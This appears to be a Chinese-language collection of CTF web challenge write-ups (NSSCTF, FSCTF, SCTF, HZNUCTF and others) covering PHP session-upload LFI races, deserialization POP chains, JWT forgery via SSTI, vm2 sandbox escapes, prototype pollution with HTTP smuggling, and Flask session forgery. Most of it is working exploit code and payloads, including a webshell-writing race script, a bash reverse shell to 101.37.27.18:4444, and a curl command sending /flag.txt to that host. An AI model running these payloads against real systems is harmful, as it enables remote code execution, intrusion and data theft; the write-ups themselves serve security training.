当 mode=eval 时,若 shell 无值,则执行phpinfo();,若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
,限制太多,想要通过 RCE 得到 flag 几乎无从下手
于是我们考虑从file寻找攻击点。PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含。然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。
1 session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
1 session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
1 session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
1 session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
1 session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
1 session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名
利用该漏洞点需要满足
1 2 3 4 5 目标环境开启了session.upload_progress.enable选项 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段 请求的Cookie中包含Session ID 注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
php session.upload_progress通用利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsfrom re import findall as re_findallfrom base64 import b64encodefrom threading import ThreadHOST = 'http://node4.anna.nssctf.cn:28463/' PHPINFO_URL = HOST + 'phpinfo.php' LFI_URL = HOST + 'index.php' WEB_SHELL = b'<?php eval($_POST[cmd]);?>' session_configures = {} resp_text = re_findall('<td class="e">session\.(.*?)</td><td class="v">(.*?)</td>' , requests.get(PHPINFO_URL).text) list (map (lambda x : session_configures.update({x[0 ] : x[1 ]}), resp_text))if session_configures['upload_progress.enabled' ] != 'On' : print ('[-] Target is not vulnerable' ) exit(-1 ) success = False def request_phpinfo (): exploit = f"<?php file_put_contents('/tmp/.shell.php', base64_decode('{b64encode(WEB_SHELL).decode()} ')); echo md5('ccc');?>" data = {session_configures['upload_progress.name' ] : exploit} cookies = {'PHPSESSID' : 'c' } files = {'files' : ('hello.txt' , b'A' * 1024 * 1024 )} while not success: requests.post(PHPINFO_URL, data=data, cookies=cookies, files=files) def request_sess_file (): global success data = {'file' : session_configures['save_path' ] + '/sess_c' } while not success: resp = requests.get(LFI_URL, params=data) if '9df62e693988eb4e1e1444ece0578579' in resp.text: print ('[+] The webshell was successfully written to /tmp/.shell.php' ) success = True Thread(target=request_phpinfo).start() Thread(target=request_sess_file).start()
修改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import ioimport requestsimport threadingfrom cffi.backend_ctypes import xrangesessid = '0' target = 'http://node4.anna.nssctf.cn:28463/' file = 'ph0ebus.txt' f = io.BytesIO(b'a' * 1024 * 50 ) def write (session ): while True : session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_GET["cmd"]);?>' }, files={'file' : (file, f)}, cookies={'PHPSESSID' : sessid}) def read (session ): while True : resp = session.post( f"{target} ?mode=foo&file=/tmp/sess_{sessid} &cmd=system('cd /;ls;cat nssctfasdasdflag');" ) if file in resp.text: print (resp.text) event.clear() else : print ("[+]retry" ) if __name__ == "__main__" : event = threading.Event() with requests.session() as session: for i in xrange(1 , 30 ): threading.Thread(target=write, args=(session,)).start() for i in xrange(1 , 30 ): threading.Thread(target=read, args=(session,)).start() event.set ()
[FSCTF 2023]ez_php2 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 <?php highlight_file (__file__);Class Rd{ public $ending ; public $cl ; public $poc ; public function __destruct ( ) { echo "All matters have concluded" ; die ($this ->ending); } public function __call ($name , $arg ) { foreach ($arg as $key =>$value ) { if ($arg [0 ]['POC' ]=="1111" ) { echo "1" ; $this ->cl->var1 = "system" ; } } } } class Poc { public $payload ; public $fun ; public function __set ($name , $value ) { $this ->payload = $name ; $this ->fun = $value ; } function getflag ($paylaod ) { echo "Have you genuinely accomplished what you set out to do?" ; file_get_contents ($paylaod ); } } class Er { public $symbol ; public $Flag ; public function __construct ( ) { $this ->symbol = True; } public function __set ($name , $value ) { $value ($this ->Flag); } } class Ha { public $start ; public $start1 ; public $start2 ; public function __construct ( ) { echo $this ->start1."__construct" ."</br>" ; } public function __destruct ( ) { if ($this ->start2==="11111" ) { $this ->start1->Love ($this ->start); echo "You are Good!" ; } } } if (isset ($_GET ['Ha_rde_r' ])){ unserialize ($_GET ['Ha_rde_r' ]); } else { die ("You are Silly goose!" ); } ?>
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Rd { public $ending ; public $cl ; public $poc ; } class Poc { public $payload = ['POC' =>'1111' ]; public $fun ; } class Er { public $symbol ; public $Flag ; } class Ha { public $start ; public $start1 ; public $start2 ; } $a = new Ha ;$b = new Poc ;$c = new Er ;$d = new Rd ;$a ->start2 = "11111" ;$a ->start1 = $d ;$a ->start = $b ->payload;$d ->cl = $c ;$c ->Flag = 'cat /flag' ;echo serialize ($a );
payload
1 O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}
[SCTF 2021]loginme
I don’t know the age of the admin, can you tell me?By the way, admin’s Password maybe the thing you want
![image-20240721173419307](https://yiyyyyi.oss-cn-beijing.aliyuncs.com/img/image-20240721173419307.png)
xff ,X-Clien-IP,X-Real-IP,x-remote-ip都代表本地,最后X-Real-IP成功进入
然后分析源码
关键代码
middleware
成功进入后跳转跳到route.Login
首先获取id,没有的话默认为1,然后将字符串形式的id转换为整数,如果转换失败,则id将被设置为1
。
在structs.Users
列表中查找与id
匹配的用户,如果没有找到匹配项,则使用structs.Admin
作为默认用户。
检查用户的年龄字段,如果为空,则从查询参数中获取age
,如果仍然没有则使用默认值forever 18 (Tell me the age)
。
这里定义了一个结构体
然后有一个模板渲染
1 tmpl, err := template.New("admin_index" ).Parse(html)
go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露
而在go语言中使用的是{{.name}}
代表要应用的对象,所以可以让age={{.Password}}
证实推断
[NSSRound#4 SWPU]ez_rce 啥也没有,抓包后发现apache版本为2.4.49 (Unix)
CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现_cve-2021-41773复现-CSDN博客
同时dirsearch也有提示
抓包修改
直接访问看不了,最后在run.sh中看到flag的真实位置
[WUSTCTF 2020]CV Maker 随意注册一个账号登录
文件上传
flag在环境变量中
[NSSRound#1 Basic]basic_check PUT方法创建木马
[MoeCTF 2021]地狱通讯-改 直接给源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from flask import Flask, render_template, request, session, redirect, make_responsefrom secret import secret, headers, Userimport datetimeimport jwtapp = Flask(__name__) @app.route("/" , methods=['GET' , 'POST' ] ) def index (): with open ("app.py" , "r" ) as f: ctx = f.read() res = make_response(ctx) name = request.args.get('name' , '' ) if 'admin' in name or name == '' : return res payload = { "name" : name, } token = jwt.encode(payload, secret, algorithm='HS256' , headers=headers) res.set_cookie('token' , token) return res @app.route('/hello' , methods=['GET' , 'POST' ] ) def hello (): token = request.cookies.get('token' ) if not token: return redirect('/' , 302 ) try : name = jwt.decode(token, secret, algorithms=['HS256' ])['name' ] except jwt.exceptions.InvalidSignatureError as e: return "Invalid token" if name != "admin" : user = User(name) flag = request.args.get('flag' , '' ) message = "Hello {0}, your flag is {1}" .format (user, flag) return message else : return render_template('flag.html' , name=name) if __name__ == "__main__" : app.run()
大致看一眼,刚学的jwt伪造
index
路由:这个路由处理根路径 “/” 的请求,支持 GET 和 POST 方法。首先,它读取文件 “app.py” 的内容并将其作为响应返回。然后,从请求参数中获取名为 “name” 的值,如果该值包含 “admin” 或者为空字符串,将返回之前读取的 “app.py” 内容作为响应。否则,将使用提供的 “name” 构造一个 JWT 载荷(payload),然后使用指定的密钥 secret
和头部 headers
生成 JWT,将生成的 JWT 放入 cookie 中,最后将 “app.py” 内容作为响应返回。
hello
路由:这个路由处理 “/hello” 路径的请求,同样支持 GET 和 POST 方法。首先,它尝试从请求的 cookie 中获取名为 “token” 的 JWT。如果没有找到 token,将重定向到根路径 “/”. 如果找到 token,则尝试解码 JWT 并从中提取 “name” 字段的值。如果 JWT 验证失败(可能是因为签名不匹配),返回 “Invalid token”。
如果 “name” 字段不是 “admin”,则创建一个 User 实例,然后从请求参数中获取名为 “flag” 的值(如果存在)。接下来,根据用户的信息构造一条欢迎消息,将 flag 值嵌入消息中,然后将这个消息作为响应返回。
如果 “name” 字段是 “admin”,则渲染一个名为 “flag.html” 的模板,并传递 “name” 作为参数。
这里需要两个条件,secret和headers
用ssti漏洞带出这两个条件
创建一个用户
得到对应的jwt的值
1 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTIzIn0.pEkv9ha7ygfhxZay1tBtb48vjBzAW05Rw4-azvvefGA
拉出来看一下具体内容
带着token去访问
尝试ssti
1 {0.__class__.__init__.__globals__}
secret: u_have_kn0w_what_f0rmat_i5
headers: {‘alg’: ‘HS256’, ‘typ’: ‘JWT’}
验证成功
将用户改为admin
将伪造好的jwt放入token重新发包访问hello路由得到flag
[HZNUCTF 2023 final]eznode Nodejs vm/vm2沙箱逃逸_nodejs vm2-CSDN博客
vm沙箱逃逸初探 | XiLitter
提示尝试查看源码,最直观的就是node.js
配置错误造成的源码泄露了,直接访问app.js
获得页面源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 const express = require ('express' );const app = express ();const { VM } = require ('vm2' );app.use (express.json ()); const backdoor = function ( ) { try { new VM ().run ({}.shellcode ); } catch (e) { console .log (e); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object ;const merge = (a, b ) => { for (var attr in b) { if (isObject (a[attr]) && isObject (b[attr])) { merge (a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a ) => { return merge ({}, a); } app.get ('/' , function (req, res ) { res.send ("POST some json shit to /. no source code and try to find source code" ); }); app.post ('/' , function (req, res ) { try { console .log (req.body ) var body = JSON .parse (JSON .stringify (req.body )); var copybody = clone (body) if (copybody.shit ) { backdoor () } res.send ("post shit ok" ) }catch (e){ res.send ("is it shit ?" ) console .log (e) } }) app.listen (3000 , function ( ) { console .log ('start listening on port 3000' ); });
学习一下相关知识
内置模块的函数
require()
1 const express = require ('express' );
require()
函数用于加载Node.js模块或文件。例如,require('express')
加载了Express框架,使你能够使用其提供的功能。
console.log()
1 2 console .log (req.body );console .log (e);
console.log()
是Node.js中用于在控制台输出信息的函数,它通常用于调试目的。
JSON.parse()
和 JSON.stringify()
1 var body = JSON .parse (JSON .stringify (req.body ));
JSON.parse()
用于将JSON格式的字符串转换成JavaScript对象,而JSON.stringify()
则将JavaScript对象转换成JSON字符串。在上面的例子中,JSON.stringify(req.body)
将请求体转换成字符串,然后JSON.parse()
又将其转换回对象,但这实际上是不必要的,因为req.body
已经是一个对象。
app.listen()
1 2 3 app.listen (3000 , function ( ) { console .log ('start listening on port 3000' ); });
app.listen()
是Express框架中的方法,用于启动HTTP服务器并监听特定的端口。在这个例子中,服务器将在3000端口上监听。
Express框架相关的函数
app.use()
1 app.use (express.json ());
app.use()
是Express的中间件注册函数。在这个例子中,它注册了一个JSON解析中间件,使得服务器能够解析JSON格式的POST请求体。
app.get()
和 app.post()
1 2 app.get ('/' , function (req, res ) {}); app.post ('/' , function (req, res ) {});
这些方法用于定义路由处理函数。app.get()
定义了处理GET请求的路由,app.post()
定义了处理POST请求的路由。req
参数是请求对象,包含了客户端发送的所有信息;res
参数是响应对象,用于向客户端发送数据。
自定义函数
backdoor()
1 const backdoor = function ( ) {};
这个函数尝试在一个沙箱环境中运行潜在的恶意代码,这是一个非常危险的操作,因为它可能允许远程代码执行。
isObject()
1 const isObject = obj => obj && obj.constructor && obj.constructor === Object ;
这个函数用于检查一个变量是否是普通的JavaScript对象。
merge()
1 const merge = (a, b ) => {};
这个函数用于合并两个对象,如果对象中有嵌套的对象,它会递归地进行合并。
clone()
1 const clone = (a ) => {};
这个函数用于创建一个对象的深拷贝,使用merge()
函数实现。
传入一个json数据,经过json.parse函数解析,再通过clone()函数复制到copybody中
vm2会执行shellcode属性里面的内容,我们需要将该属性污染成vm2沙箱逃逸的payload即可执行命令,exp
1 { "shit" : "1" , "__proto__" : { "shellcode" : "let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();" } }
1 2 3 4 5 6 7 8 (' + function(){ TypeError.prototype.get_process = f=>f.constructor("return process" )(); try{ Object.preventExtensions(Buffer.from("" )).a = 1 ; } catch(e){ return e.get_process(()=>{ } ).mainModule.require("child_process" ).execSync("whoami" ).toString(); } } +')()
1 2 3 4 5 6 7 8 9 10 11 (' + function(){ try{ Buffer.from(new Proxy({ } , { getOwnPropertyDescriptor(){ throw f=>f.constructor("return process" )(); } } )); } catch(e){ return e(()=>{ } ).mainModule.require("child_process" ).execSync("whoami" ).toString(); } } +')()
1 2 3 4 5 6 7 8 (function (){ TypeError[ `${ `${ `prototyp`} e`} `] [ `${ `${ `get_proces`} s`} `] = f=>f[ `${ `${ `constructo`} r`} `] (`${ `${ `return this.proces`} s`} `)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1 ; } catch(e){ return e[ `${ `${ `get_proces`} s`} `] (()=>{ } ).mainModule[ `${ `${ `requir`} e`} `] (`${ `${ `child_proces`} s`} `)[ `${ `${ `exe`} cSync`} `] (`cat /flag`).toString(); } } )()
没有回显,反斜杠转义,bash里面单引号不行就换双引号
1 { "shit" : 1 , "__proto__" : { "shellcode" : "let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/101.37.27.18/4444 0>&1\"').toString();" } }
[西湖论剑 2022]real_ez_node
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 var createError = require ('http-errors' );var express = require ('express' );var path = require ('path' );var fs = require ('fs' );const lodash = require ('lodash' )var cookieParser = require ('cookie-parser' );var logger = require ('morgan' );var session = require ('express-session' );var index = require ('./routes/index' );var bodyParser = require ('body-parser' );var app = express ();app.use (bodyParser.json ()); app.use (bodyParser.urlencoded ({extended : false })); app.use (cookieParser ()); app.use (session ({ secret : 'secret' , resave : true , saveUninitialized : false , cookie : { maxAge : 1000 * 60 * 3 , }, })); app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'ejs' ); app.use (logger ('dev' )); app.use (express.static (path.join (__dirname, 'public' ))); app.use ('/' , index); app.use (function (req, res, next ) { next (createError (404 )); }); app.use (function (err, req, res, next ) { res.locals .message = err.message ; res.locals .error = req.app .get ('env' ) === 'development' ? err : {}; res.status (err.status || 500 ); res.render ('error' ); }); module .exports = app;
index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 var express = require ('express' );var http = require ('http' );var router = express.Router ();const safeobj = require ('safe-obj' );router.get ('/' ,(req,res )=> { if (req.query .q ) { console .log ('get q' ); } res.render ('index' ); }) router.post ('/copy' ,(req,res )=> { res.setHeader ('Content-type' ,'text/html;charset=utf-8' ) var ip = req.connection .remoteAddress ; console .log (ip); var obj = { msg : '' , } if (!ip.includes ('127.0.0.1' )) { obj.msg ="only for admin" res.send (JSON .stringify (obj)); return } let user = {}; for (let index in req.body ) { if (!index.includes ("__proto__" )){ safeobj.expand (user, index, req.body [index]) } } res.render ('index' ); }) router.get ('/curl' , function (req, res ) { var q = req.query .q ; var resp = "" ; if (q) { var url = 'http://localhost:3000/?q=' + q try { http.get (url,(res1 )=> { const { statusCode } = res1; const contentType = res1.headers ['content-type' ]; let error; if (statusCode !== 200 ) { error = new Error ('Request Failed.\n' + `Status Code: ${statusCode} ` ); } if (error) { console .error (error.message ); res1.resume (); return ; } res1.setEncoding ('utf8' ); let rawData = '' ; res1.on ('data' , (chunk ) => { rawData += chunk; res.end ('request success' ) }); res1.on ('end' , () => { try { const parsedData = JSON .parse (rawData); res.end (parsedData+'' ); } catch (e) { res.end (e.message +'' ); } }); }).on ('error' , (e ) => { res.end (`Got error: ${e.message} ` ); }) res.end ('ok' ); } catch (error) { res.end (error+'' ); } } else { res.send ("search param 'q' missing!" ); } }) module .exports = router;
猜测是原型链 污染,__proto__
被过滤,使用constructor.prototype
访问/copy的ip被限制,通过访问/curl利用HTTP走私向/copy发送POST请求,然后污染原型链实现代码执行。curl路由只有q参数可控
1 {"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}
POST道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import urllib.parseimport requestspayload = ''' HTTP/1.1 POST /copy HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json Connection: close Content-Length: 155 {"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 101.37.27.18:4444/`cat /flag.txt`');var x"} ''' .replace("\n" , "\r\n" )def encode (data ): tmp = u"" for i in data: tmp += chr (0x0100 + ord (i)) return tmp payload = encode(payload) print (payload)r = requests.get('http://node4.anna.nssctf.cn:28807/curl?q=' + urllib.parse.quote(payload)) print (r.text)
[GFCTF 2021]ez_calc 题目提示
1 2 1.别想太复杂,试着传传其他数据类型 2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。
小写得是admin大写得是ADMIN。考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı
会变成I
这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制 同样的”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.
1 2 在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。 在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
admın/admin123
成功对接
源码在f12中可以看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 let calc = req.body .calc ;let flag = false ;for (let i = 0 ; i < calc.length ; i++) { if (flag || "/(flc'\"." .split `` .some (v => v == calc[i])) { flag = true ; calc = calc.slice (0 , i) + "*" + calc.slice (i + 1 , calc.length ); } } calc = calc.substring (0 , 64 ); calc = calc.replace (/\s+/g , "" ); calc = calc.replace (/\\/g , "\\\\" ); while (calc.indexOf ("sh" ) > -1 ) { calc = calc.replace ("sh" , "" ); } while (calc.indexOf ("ln" ) > -1 ) { calc = calc.replace ("ln" , "" ); } while (calc.indexOf ("fs" ) > -1 ) { calc = calc.replace ("fs" , "" ); } while (calc.indexOf ("x" ) > -1 ) { calc = calc.replace ("x" , "" ); } try { result = eval (calc); }
eval(calc)产生命令执行
但是slice是从第四的元素开始替换,存在逻辑问题,可以逃逸前四个字符(任意值),会发现可以绕过这个判断实现逃逸
禁止了 x
不能有exec
1 require("child_process").spawn('sleep', ['3']);
1 calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
尝试读取文件,没有回显
1 calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
写入静态文件读取
1 calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*>a').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
1 calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
[HDCTF 2023]YamiYami 三个按钮,一个个来
读取,php伪协议直接读,读flga和app.py时有过滤
读取环境变量
1 http://node4.anna.nssctf.cn:28745/read?url=file:///proc/1/environ
无疑是非预期解,这里要获取源码
urllib.request.urlopen可以直接接受urlencode的路径, 但是读本地文件时最前面的
/要保留, 不能编码为
%2F
因此,我们需要对/app/app.py进行二次编码,第一个/
不能编码
得到
1 /%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39
访问后得到源码
然后就是熟悉的session伪造
首先找到secret生成方式
1 2 random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random() * 233 )
读mac
1 2 3 4 5 6 7 8 9 10 11 /etc/passwd用来判断读取漏洞的存在 /etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。 /etc/hostname/etc/hostname表示主机名。 /etc/issue指明系统版本。 /proc目录 /proc/[pid]查看进程 /proc/self查看当前进程 /proc/self/cmdline当前进程对应的终端命令 /proc/self/pwd程序运行目录 /proc/self/环境变量 /sys/class/net/eth0/address mac地址保存位
生成secret
1 2 3 4 5 import randomif __name__ == '__main__' : random.seed(0x0242ac02a812 ) print (str (random.random() * 233 ))
1 python flask_session_cookie_manager3.py encode -t "{'passport': 'Welcome To HDCTF2023'}" -s "62.6539852098"
上传后通过/boogipop路由去访问响应文件即可
1 http://node4.anna.nssctf.cn:28540/boogipop?file=uploads/1.txt
